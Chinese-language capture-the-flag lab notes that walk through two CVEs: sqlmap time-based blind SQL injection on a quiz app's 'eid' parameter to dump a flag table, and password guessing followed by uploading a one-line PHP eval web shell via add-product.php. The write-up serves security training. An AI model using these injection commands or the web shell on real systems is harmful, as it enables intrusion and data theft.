春秋云境 靶场笔记

CVE-2022-32991

登录页面

任意注册账户登录

访问 welcome.php:http://eci-2zeddrs0sa8uwhp5l5n9.cloudeci1.ichunqiu.com/welcome.php?q=1

存在参数 q,尝试 sql 注入

Burp 抓包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /welcome.php?q=1 HTTP/1.1
Host: eci-2zeidk6onhgzoxoik7ds.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Referer: http://eci-2zeidk6onhgzoxoik7ds.cloudeci1.ichunqiu.com/login.php
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: PHPSESSID=v4sei47eaj99kvebk8s0a4r1sg
Upgrade-Insecure-Requests: 1
Priority: u=0, i


将请求包复制到 txt 文件中,尝试 sqlmap 自动注入获取数据库:

1
python3 sqlmap.py -r target.txt --dbs --batch

并未成功注入

点击页面中 Quiz 的 Start 按钮,出现重定向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34 HTTP/1.1
Host: eci-2zeidk6onhgzoxoik7ds.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://eci-2zeidk6onhgzoxoik7ds.cloudeci1.ichunqiu.com/welcome.php?q=1
Cookie: PHPSESSID=v4sei47eaj99kvebk8s0a4r1sg
Upgrade-Insecure-Requests: 1
Priority: u=0, i


出现更多请求参数

继续 sqlmap 注入获取数据库

1
[00:48:30] [INFO] GET parameter 'eid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

列出的数据库如下:

1
2
3
4
5
available databases [4]:
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema

尝试列出 ctf 数据库中的所有数据表

1
python3 sqlmap.py -r target.txt -D ctf --tables --batch

得到回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
Database: ctf
[9 tables]
+-----------+
| admin |
| history |
| options |
| rank |
| user |
| answer |
| flag |
| questions |
| quiz |
+-----------+

利用sqlmap自动进行注入,获取 flag 表的列信息

1
python3 sqlmap.py -r target.txt -D ctf -T flag --columns --batch

得到 flag 列:

1
2
3
4
5
6
7
8
Database: ctf
Table: flag
[1 column]
+--------+---------------+
| Column | Type |
+--------+---------------+
| flag | varchar(1024) |
+--------+---------------+

获取 flag 列中字段内容

1
python3 sqlmap.py -r target.txt -D ctf -T flag --columns --batch

得到 flag :

1
2
3
4
5
+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{387d2cf3-074a-411e-8158-02de590d2236} |
+--------------------------------------------+

CVE-2022-30887

登录页面,不存在注册,尝试弱口令未果

审计代码没有看到特别明显的漏洞

页尾看见作者是 Mayuri K

在官网检索到作者的邮箱:mayuri.infospace@gmail.com

猜测密码为:mayurik

登录后在add-product.php页面可以上传文件

上传一句话木马

1
<?php @eval($_POST['shell']);?>

蚁剑连上在根目录得到flag:

1
flag{f3851112-85bd-445a-ba35-41078b3d62ec}